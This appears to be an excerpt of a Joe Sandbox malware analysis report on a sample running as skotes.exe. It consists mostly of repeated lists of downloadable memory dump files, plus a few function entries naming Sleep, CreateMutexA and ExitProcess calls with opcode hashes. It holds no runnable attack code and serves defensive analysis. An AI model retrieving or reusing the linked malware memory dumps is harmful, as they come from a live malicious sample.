Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: c9b58f2f2995adb11bd4b93052dd65254cbd3e155b36f31c6658511018cc6350
Instruction ID: 9bbb03a7ca7a540d351acec5976bdfd4afacb5cd00f68e073fe2dca7d903219e
Opcode Fuzzy Hash: c9b58f2f2995adb11bd4b93052dd65254cbd3e155b36f31c6658511018cc6350
Instruction Fuzzy Hash: AF210C75A0011DAFDF00EBA8DD819BEB7B9FF48714F500419FA01E7251DB649E019BA1

Analysis Process: skotes.exePID: 2664, Parent PID: 6824COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1891
Total number of Limit Nodes:	9

Executed Functions

Function 00A0652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00A0652A,?,?,?,?,?,00A07661), ref: 00A06567

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: be4b06372ddd4621704b2f41574b8bf3f1d386fc3d8f173bdfc535cbce6b4ec8
Instruction ID: d9777440940c930c58a47253d846a352ad14f8e942d540d22e532c2096d87141
Opcode Fuzzy Hash: be4b06372ddd4621704b2f41574b8bf3f1d386fc3d8f173bdfc535cbce6b4ec8
Instruction Fuzzy Hash: C3E0CD3164114CAFCF357B18ED5DE893B69FF61745F000804F81846163CB35ED51D580

Function 009D9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 066464e4ecb769841f100bba058b8232aed4ad3ef958dfb976da78063765e60c
Instruction ID: 3dd36f9733f5e84c639a31d89227658b6c60e0409105e80e8add826d7f99b6c3
Opcode Fuzzy Hash: 066464e4ecb769841f100bba058b8232aed4ad3ef958dfb976da78063765e60c
Instruction Fuzzy Hash: 43318D317541019BEB08EBBCDC897ADBBB6EFC2310F20C21AE018973D5C77989818751

Function 009D9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c08ee94f00f460ab3385b7641cbb22b7e2b8c737036bd480562b7d5ecc8c59ca
Instruction ID: 345e997a73f107af31cd5d263d85a6d39c2f71d1f77fb488647ba3dd9432ed08
Opcode Fuzzy Hash: c08ee94f00f460ab3385b7641cbb22b7e2b8c737036bd480562b7d5ecc8c59ca
Instruction Fuzzy Hash: FF3146317441019BEB08EBBDDC987ADB766EBC6310F20861AF428EB3D1C7358D908752

Function 009DA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
